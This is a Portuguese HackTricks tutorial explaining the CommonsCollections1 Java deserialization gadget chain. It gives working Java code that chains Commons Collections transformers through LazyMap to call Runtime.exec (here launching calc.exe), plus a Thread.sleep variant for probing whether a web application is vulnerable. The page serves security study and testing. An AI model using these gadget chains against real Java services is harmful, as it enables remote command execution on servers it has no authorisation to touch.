Payload CommonsCollection1 - Transformadores Java para Rutime exec() e Thread Sleep

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Você trabalha em uma empresa de cibersegurança? Gostaria de ver sua empresa anunciada no HackTricks? ou gostaria de ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
Adquira o swag oficial do PEASS & HackTricks
Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.

Transformadores Java para Rutime exec()

Em vários lugares, você pode encontrar um payload de desserialização Java que usa transformadores do Apache common collections como o seguinte:

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

Se você não sabe nada sobre payloads de desserialização em Java, pode ser difícil entender por que esse código executará uma calculadora.

Primeiramente, você precisa saber que um Transformer em Java é algo que recebe uma classe e a transforma em outra.
Também é interessante saber que o payload sendo executado aqui é equivalente a:

Runtime.getRuntime().exec(new String[]{"calc.exe"});

Ou mais exatamente, o que será executado no final será:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Como

Então, como o primeiro payload apresentado é equivalente a esses one-liners "simples"?

Primeiro de tudo, você pode notar no payload que uma cadeia (array) de transformações é criada:

String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Se você ler o código, você notará que se você de alguma forma encadear a transformação do array, você poderá executar comandos arbitrários.

Então, como essas transformações são encadeadas?

Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

Na última seção do payload, você pode ver que um objeto Map é criado. Em seguida, a função decorate é executada a partir de LazyMap com o objeto map e os transformers encadeados. A partir do código a seguir, você pode ver que isso fará com que os transformers encadeados sejam copiados dentro do atributo lazyMap.factory:

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

E então o grande final é executado: lazyMap.get("anything");

Este é o código da função get:

public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

E este é o código da função transform

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

Então, lembre-se de que dentro da fábrica tínhamos salvo chainedTransformer e dentro da função transform estamos passando por todos esses transformadores encadeados e executando um após o outro. O engraçado é que cada transformador está usando object como entrada e o objeto é a saída do último transformador executado. Portanto, todos os transformadores são encadeados executando a carga maliciosa.

Resumo

No final, devido à forma como o lazyMap está gerenciando os transformadores encadeados dentro do método get, é como se estivéssemos executando o seguinte código:

Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

Observe como value é a entrada de cada transformação e a saída da transformação anterior, permitindo a execução de um comando em uma linha:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Note que aqui foi explicado os gadgets usados para o payload ComonsCollections1. Mas ficou em aberto como tudo isso começa a ser executado. Você pode ver aqui que o ysoserial, para executar esse payload, usa um objeto AnnotationInvocationHandler porque quando esse objeto é desserializado, ele invocará a função payload.get() que executará todo o payload.

Java Thread Sleep

Esse payload pode ser útil para identificar se a web é vulnerável, pois executará um sleep se for.

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

Mais Gadgets

Você pode encontrar mais gadgets aqui: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html